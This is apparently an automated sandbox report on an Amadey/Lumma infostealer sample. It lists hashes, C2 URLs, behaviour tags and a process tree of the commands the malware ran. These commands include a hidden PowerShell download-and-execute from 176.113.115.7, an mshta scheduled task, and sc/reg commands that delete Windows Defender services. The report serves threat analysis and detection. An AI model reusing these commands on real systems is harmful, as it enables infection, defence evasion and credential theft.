Overview

overview

10

Static

static

3

WWXE3_random.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250313-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250313-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/04/2025, 06:03

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    WWXE3_random.exe

  • Size

    1.8MB

  • MD5

    211061571cf1b60208209fa2204b3035

  • SHA1

    570b171d6cbbae798b86f664b566763be8c15e48

  • SHA256

    a13e7faae122bc102b08a43756324af72cd2bae5a5a4817f31b75a1f6fe5e170

  • SHA512

    35a9b350cb7f1131c60f8ab86cf14b07d858e9d7c37cc6ba59ede151b695017f484249bdcb87dd0329267960a52a4121aab6e3c176d096d16c98550abaef06e5

  • SSDEEP

    24576:o54dustllVjtOxjmRclRvN3iUGb0DUSYQSoyPPMsvT+tTfLspOgGDO/P9EScJsnQ:oOdusjlp8JFSUG4AqAEt0BCzxtLej

Score
10/10
amadeylumma092155defense_evasiondiscoveryexecutionexploitpersistencespywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

C2

https://cosmosyf.top/GOsznj

https://yjrxsafer.top/shpaoz

https://krxspint.digital/kendwz

https://rhxhube.run/pogrs

https://grxeasyw.digital/xxepw

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://xrfxcaseq.live/gspaz

https://ywmedici.top/noagis

https://pepperiop.digital/oage

https://jrxsafer.top/shpaoz

https://plantainklj.run/opafg

https://tzpuerrogfh.live/iqwez

https://quavabvc.top/iuzhd

https://rambutanvcx.run/adioz

https://rodformi.run/aUosoz

https://metalsyo.digital/opsa

https://ironloxp.live/aksdd

https://navstarx.shop/FoaJSi

https://wstarcloc.bet/GOksAo

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies security service 2 TTPs 2 IoCs
    defense_evasion
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file 7 IoCs
  • Possible privilege escalation attempt 2 IoCs
    exploit
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks BIOS information in registry 2 TTPs 18 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 16 IoCs
  • Identifies Wine through registry keys 2 TTPs 8 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 38 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 23 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 20 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 41 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 33 IoCs
  • Suspicious use of SendNotifyMessage 26 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\WWXE3_random.exe
    "C:\Users\Admin\AppData\Local\Temp\WWXE3_random.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:3516
    • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
      "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Downloads MZ/PE file
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Adds Run key to start application
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4636
      • C:\Users\Admin\AppData\Local\Temp\10473470101\d328109cbe.exe
        "C:\Users\Admin\AppData\Local\Temp\10473470101\d328109cbe.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1184
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          4⤵
            PID:1212
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:4456
        • C:\Users\Admin\AppData\Local\Temp\10473480101\43e524acf8.exe
          "C:\Users\Admin\AppData\Local\Temp\10473480101\43e524acf8.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:3276
        • C:\Users\Admin\AppData\Local\Temp\10473490101\655797fa31.exe
          "C:\Users\Admin\AppData\Local\Temp\10473490101\655797fa31.exe"
          3⤵
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:5756
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe"
            4⤵
              PID:4476
          • C:\Users\Admin\AppData\Local\Temp\10473500101\12af0491d8.exe
            "C:\Users\Admin\AppData\Local\Temp\10473500101\12af0491d8.exe"
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of WriteProcessMemory
            PID:5492
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM firefox.exe /T
              4⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4468
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM chrome.exe /T
              4⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2344
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM msedge.exe /T
              4⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              PID:5672
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM opera.exe /T
              4⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2732
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM brave.exe /T
              4⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:5360
            • C:\Program Files\Mozilla Firefox\firefox.exe
              "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:5584
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                5⤵
                • Checks processor information in registry
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:4504
                • C:\Program Files\Mozilla Firefox\firefox.exe
                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1996 -prefsLen 27099 -prefMapHandle 2000 -prefMapSize 270279 -ipcHandle 2076 -initialChannelId {9622f407-ed44-48b5-8491-f4cc4b43a77c} -parentPid 4504 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4504" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
                  6⤵
                    PID:4480
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2480 -prefsLen 27135 -prefMapHandle 2484 -prefMapSize 270279 -ipcHandle 2496 -initialChannelId {51129d3c-12a9-41d5-b653-1418b4780302} -parentPid 4504 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4504" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
                    6⤵
                      PID:1828
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3748 -prefsLen 25164 -prefMapHandle 3752 -prefMapSize 270279 -jsInitHandle 3756 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3780 -initialChannelId {0cbf3930-ca66-4127-98d3-fd6e9ccb25a0} -parentPid 4504 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4504" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
                      6⤵
                      • Checks processor information in registry
                      PID:5052
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3988 -prefsLen 27276 -prefMapHandle 3992 -prefMapSize 270279 -ipcHandle 4060 -initialChannelId {4a3ea030-03b8-4e4e-886b-0f8a6a047f5b} -parentPid 4504 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4504" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
                      6⤵
                        PID:5744
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4520 -prefsLen 34775 -prefMapHandle 4524 -prefMapSize 270279 -jsInitHandle 4528 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4532 -initialChannelId {70f0098b-e611-4be6-81e5-90f19d71c2f3} -parentPid 4504 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4504" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
                        6⤵
                        • Checks processor information in registry
                        PID:3244
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 4952 -prefsLen 35012 -prefMapHandle 4956 -prefMapSize 270279 -ipcHandle 4908 -initialChannelId {070a9ecf-4e0c-46a5-a0bc-2fdebf605a77} -parentPid 4504 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4504" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
                        6⤵
                        • Checks processor information in registry
                        PID:372
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3100 -prefsLen 32952 -prefMapHandle 2940 -prefMapSize 270279 -jsInitHandle 5400 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5224 -initialChannelId {4cef86de-c8c9-46fc-bbeb-4caf9114edc6} -parentPid 4504 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4504" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
                        6⤵
                        • Checks processor information in registry
                        PID:4344
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5556 -prefsLen 32952 -prefMapHandle 5560 -prefMapSize 270279 -jsInitHandle 5564 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5572 -initialChannelId {012c5e77-a9b7-4388-a13c-35a73cb09416} -parentPid 4504 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4504" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
                        6⤵
                        • Checks processor information in registry
                        PID:4332
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5856 -prefsLen 32952 -prefMapHandle 5860 -prefMapSize 270279 -jsInitHandle 5864 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5520 -initialChannelId {7657dcff-e361-47f2-b08c-e44f95b9287b} -parentPid 4504 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4504" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
                        6⤵
                        • Checks processor information in registry
                        PID:1644
                • C:\Users\Admin\AppData\Local\Temp\10473510101\4640a9b033.exe
                  "C:\Users\Admin\AppData\Local\Temp\10473510101\4640a9b033.exe"
                  3⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:3076
                  • C:\Users\Admin\AppData\Local\Temp\272.exe
                    "C:\Users\Admin\AppData\Local\Temp\272.exe"
                    4⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:4936
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\F30B.tmp\F30C.tmp\F30D.bat C:\Users\Admin\AppData\Local\Temp\272.exe"
                      5⤵
                        PID:1584
                        • C:\Users\Admin\AppData\Local\Temp\272.exe
                          "C:\Users\Admin\AppData\Local\Temp\272.exe" go
                          6⤵
                          • Checks computer location settings
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          PID:5164
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\F3F5.tmp\F3F6.tmp\F3F7.bat C:\Users\Admin\AppData\Local\Temp\272.exe go"
                            7⤵
                            • Drops file in Program Files directory
                            PID:2376
                            • C:\Windows\system32\sc.exe
                              sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
                              8⤵
                              • Launches sc.exe
                              PID:5932
                            • C:\Windows\system32\sc.exe
                              sc start ddrver
                              8⤵
                              • Launches sc.exe
                              PID:3360
                            • C:\Windows\system32\timeout.exe
                              timeout /t 1
                              8⤵
                              • Delays execution with timeout.exe
                              PID:2952
                            • C:\Windows\system32\sc.exe
                              sc stop ddrver
                              8⤵
                              • Launches sc.exe
                              PID:1200
                            • C:\Windows\system32\sc.exe
                              sc start ddrver
                              8⤵
                              • Launches sc.exe
                              PID:1996
                            • C:\Windows\system32\takeown.exe
                              takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
                              8⤵
                              • Possible privilege escalation attempt
                              • Modifies file permissions
                              PID:5572
                            • C:\Windows\system32\icacls.exe
                              icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
                              8⤵
                              • Possible privilege escalation attempt
                              • Modifies file permissions
                              PID:4240
                            • C:\Windows\system32\sc.exe
                              sc stop "WinDefend"
                              8⤵
                              • Launches sc.exe
                              PID:2252
                            • C:\Windows\system32\sc.exe
                              sc delete "WinDefend"
                              8⤵
                              • Launches sc.exe
                              PID:3068
                            • C:\Windows\system32\reg.exe
                              reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
                              8⤵
                                PID:1916
                              • C:\Windows\system32\sc.exe
                                sc stop "MDCoreSvc"
                                8⤵
                                • Launches sc.exe
                                PID:4924
                              • C:\Windows\system32\sc.exe
                                sc delete "MDCoreSvc"
                                8⤵
                                • Launches sc.exe
                                PID:3396
                              • C:\Windows\system32\reg.exe
                                reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
                                8⤵
                                  PID:1816
                                • C:\Windows\system32\sc.exe
                                  sc stop "WdNisSvc"
                                  8⤵
                                  • Launches sc.exe
                                  PID:440
                                • C:\Windows\system32\sc.exe
                                  sc delete "WdNisSvc"
                                  8⤵
                                  • Launches sc.exe
                                  PID:2480
                                • C:\Windows\system32\reg.exe
                                  reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
                                  8⤵
                                    PID:4476
                                  • C:\Windows\system32\sc.exe
                                    sc stop "Sense"
                                    8⤵
                                    • Launches sc.exe
                                    PID:5364
                                  • C:\Windows\system32\sc.exe
                                    sc delete "Sense"
                                    8⤵
                                    • Launches sc.exe
                                    PID:1664
                                  • C:\Windows\system32\reg.exe
                                    reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
                                    8⤵
                                      PID:5220
                                    • C:\Windows\system32\sc.exe
                                      sc stop "wscsvc"
                                      8⤵
                                      • Launches sc.exe
                                      PID:5952
                                    • C:\Windows\system32\sc.exe
                                      sc delete "wscsvc"
                                      8⤵
                                      • Launches sc.exe
                                      PID:4972
                                    • C:\Windows\system32\reg.exe
                                      reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
                                      8⤵
                                      • Modifies security service
                                      PID:6028
                                    • C:\Windows\system32\sc.exe
                                      sc stop "SgrmBroker"
                                      8⤵
                                      • Launches sc.exe
                                      PID:5748
                                    • C:\Windows\system32\sc.exe
                                      sc delete "SgrmBroker"
                                      8⤵
                                      • Launches sc.exe
                                      PID:6012
                                    • C:\Windows\system32\reg.exe
                                      reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
                                      8⤵
                                        PID:4352
                                      • C:\Windows\system32\sc.exe
                                        sc stop "SecurityHealthService"
                                        8⤵
                                        • Launches sc.exe
                                        PID:5096
                                      • C:\Windows\system32\sc.exe
                                        sc delete "SecurityHealthService"
                                        8⤵
                                        • Launches sc.exe
                                        PID:4368
                                      • C:\Windows\system32\reg.exe
                                        reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
                                        8⤵
                                          PID:5852
                                        • C:\Windows\system32\sc.exe
                                          sc stop "webthreatdefsvc"
                                          8⤵
                                          • Launches sc.exe
                                          PID:224
                                        • C:\Windows\system32\sc.exe
                                          sc delete "webthreatdefsvc"
                                          8⤵
                                          • Launches sc.exe
                                          PID:1192
                                        • C:\Windows\system32\reg.exe
                                          reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
                                          8⤵
                                            PID:1604
                                          • C:\Windows\system32\sc.exe
                                            sc stop "webthreatdefusersvc"
                                            8⤵
                                            • Launches sc.exe
                                            PID:2128
                                          • C:\Windows\system32\sc.exe
                                            sc delete "webthreatdefusersvc"
                                            8⤵
                                            • Launches sc.exe
                                            PID:1784
                                          • C:\Windows\system32\reg.exe
                                            reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
                                            8⤵
                                              PID:4828
                                            • C:\Windows\system32\sc.exe
                                              sc stop "WdNisDrv"
                                              8⤵
                                              • Launches sc.exe
                                              PID:3428
                                            • C:\Windows\system32\sc.exe
                                              sc delete "WdNisDrv"
                                              8⤵
                                              • Launches sc.exe
                                              PID:1332
                                            • C:\Windows\system32\reg.exe
                                              reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
                                              8⤵
                                                PID:1372
                                              • C:\Windows\system32\sc.exe
                                                sc stop "WdBoot"
                                                8⤵
                                                • Launches sc.exe
                                                PID:628
                                              • C:\Windows\system32\sc.exe
                                                sc delete "WdBoot"
                                                8⤵
                                                • Launches sc.exe
                                                PID:2176
                                              • C:\Windows\system32\reg.exe
                                                reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
                                                8⤵
                                                  PID:5184
                                                • C:\Windows\system32\sc.exe
                                                  sc stop "WdFilter"
                                                  8⤵
                                                  • Launches sc.exe
                                                  PID:1900
                                                • C:\Windows\system32\sc.exe
                                                  sc delete "WdFilter"
                                                  8⤵
                                                  • Launches sc.exe
                                                  PID:2284
                                                • C:\Windows\system32\reg.exe
                                                  reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
                                                  8⤵
                                                    PID:4296
                                                  • C:\Windows\system32\sc.exe
                                                    sc stop "SgrmAgent"
                                                    8⤵
                                                    • Launches sc.exe
                                                    PID:928
                                                  • C:\Windows\system32\sc.exe
                                                    sc delete "SgrmAgent"
                                                    8⤵
                                                    • Launches sc.exe
                                                    PID:3524
                                                  • C:\Windows\system32\reg.exe
                                                    reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
                                                    8⤵
                                                      PID:5264
                                                    • C:\Windows\system32\sc.exe
                                                      sc stop "MsSecWfp"
                                                      8⤵
                                                      • Launches sc.exe
                                                      PID:800
                                                    • C:\Windows\system32\sc.exe
                                                      sc delete "MsSecWfp"
                                                      8⤵
                                                      • Launches sc.exe
                                                      PID:2288
                                                    • C:\Windows\system32\reg.exe
                                                      reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
                                                      8⤵
                                                        PID:5772
                                                      • C:\Windows\system32\sc.exe
                                                        sc stop "MsSecFlt"
                                                        8⤵
                                                        • Launches sc.exe
                                                        PID:916
                                                      • C:\Windows\system32\sc.exe
                                                        sc delete "MsSecFlt"
                                                        8⤵
                                                        • Launches sc.exe
                                                        PID:1916
                                                      • C:\Windows\system32\reg.exe
                                                        reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
                                                        8⤵
                                                          PID:428
                                                        • C:\Windows\system32\sc.exe
                                                          sc stop "MsSecCore"
                                                          8⤵
                                                          • Launches sc.exe
                                                          PID:1492
                                                        • C:\Windows\system32\sc.exe
                                                          sc delete "MsSecCore"
                                                          8⤵
                                                          • Launches sc.exe
                                                          PID:3164
                                                        • C:\Windows\system32\reg.exe
                                                          reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
                                                          8⤵
                                                            PID:4924
                                                          • C:\Windows\system32\schtasks.exe
                                                            schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
                                                            8⤵
                                                              PID:3272
                                                            • C:\Windows\system32\schtasks.exe
                                                              schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
                                                              8⤵
                                                                PID:5812
                                                              • C:\Windows\system32\schtasks.exe
                                                                schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
                                                                8⤵
                                                                  PID:5804
                                                                • C:\Windows\system32\schtasks.exe
                                                                  schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
                                                                  8⤵
                                                                    PID:440
                                                                  • C:\Windows\system32\sc.exe
                                                                    sc stop ddrver
                                                                    8⤵
                                                                    • Launches sc.exe
                                                                    PID:3532
                                                                  • C:\Windows\system32\sc.exe
                                                                    sc delete ddrver
                                                                    8⤵
                                                                    • Launches sc.exe
                                                                    PID:4060
                                                        • C:\Users\Admin\AppData\Local\Temp\10473520101\771dda18a4.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\10473520101\771dda18a4.exe"
                                                          3⤵
                                                          • Executes dropped EXE
                                                          • System Location Discovery: System Language Discovery
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:880
                                                        • C:\Users\Admin\AppData\Local\Temp\10473530101\f3d12dec57.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\10473530101\f3d12dec57.exe"
                                                          3⤵
                                                          • Executes dropped EXE
                                                          PID:1340
                                                        • C:\Users\Admin\AppData\Local\Temp\10473540101\3bc42388c0.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\10473540101\3bc42388c0.exe"
                                                          3⤵
                                                          • Executes dropped EXE
                                                          • System Location Discovery: System Language Discovery
                                                          • Suspicious use of FindShellTrayWindow
                                                          • Suspicious use of SendNotifyMessage
                                                          PID:5492
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c schtasks /create /tn L3yq2maJDIN /tr "mshta C:\Users\Admin\AppData\Local\Temp\0dWOWwTYj.hta" /sc minute /mo 25 /ru "Admin" /f
                                                            4⤵
                                                            • System Location Discovery: System Language Discovery
                                                            PID:1220
                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                              schtasks /create /tn L3yq2maJDIN /tr "mshta C:\Users\Admin\AppData\Local\Temp\0dWOWwTYj.hta" /sc minute /mo 25 /ru "Admin" /f
                                                              5⤵
                                                              • System Location Discovery: System Language Discovery
                                                              • Scheduled Task/Job: Scheduled Task
                                                              PID:2284
                                                          • C:\Windows\SysWOW64\mshta.exe
                                                            mshta C:\Users\Admin\AppData\Local\Temp\0dWOWwTYj.hta
                                                            4⤵
                                                            • Checks computer location settings
                                                            • System Location Discovery: System Language Discovery
                                                            PID:6088
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'CDOXYYDJFTEALX8GAFGTYSSOJYECMPLW.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                                                              5⤵
                                                              • Blocklisted process makes network request
                                                              • Command and Scripting Interpreter: PowerShell
                                                              • Downloads MZ/PE file
                                                              • System Location Discovery: System Language Discovery
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:5560
                                                              • C:\Users\Admin\AppData\Local\TempCDOXYYDJFTEALX8GAFGTYSSOJYECMPLW.EXE
                                                                "C:\Users\Admin\AppData\Local\TempCDOXYYDJFTEALX8GAFGTYSSOJYECMPLW.EXE"
                                                                6⤵
                                                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                • Checks BIOS information in registry
                                                                • Executes dropped EXE
                                                                • Identifies Wine through registry keys
                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                • System Location Discovery: System Language Discovery
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                PID:5608
                                                        • C:\Users\Admin\AppData\Local\Temp\10473550101\d6c80809e2.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\10473550101\d6c80809e2.exe"
                                                          3⤵
                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                          • Checks BIOS information in registry
                                                          • Executes dropped EXE
                                                          • Identifies Wine through registry keys
                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                          • System Location Discovery: System Language Discovery
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:3880
                                                    • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                      C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                      1⤵
                                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                      • Checks BIOS information in registry
                                                      • Executes dropped EXE
                                                      • Identifies Wine through registry keys
                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:5924
                                                    • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                                                      "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                                                      1⤵
                                                        PID:5272
                                                      • C:\Windows\system32\backgroundTaskHost.exe
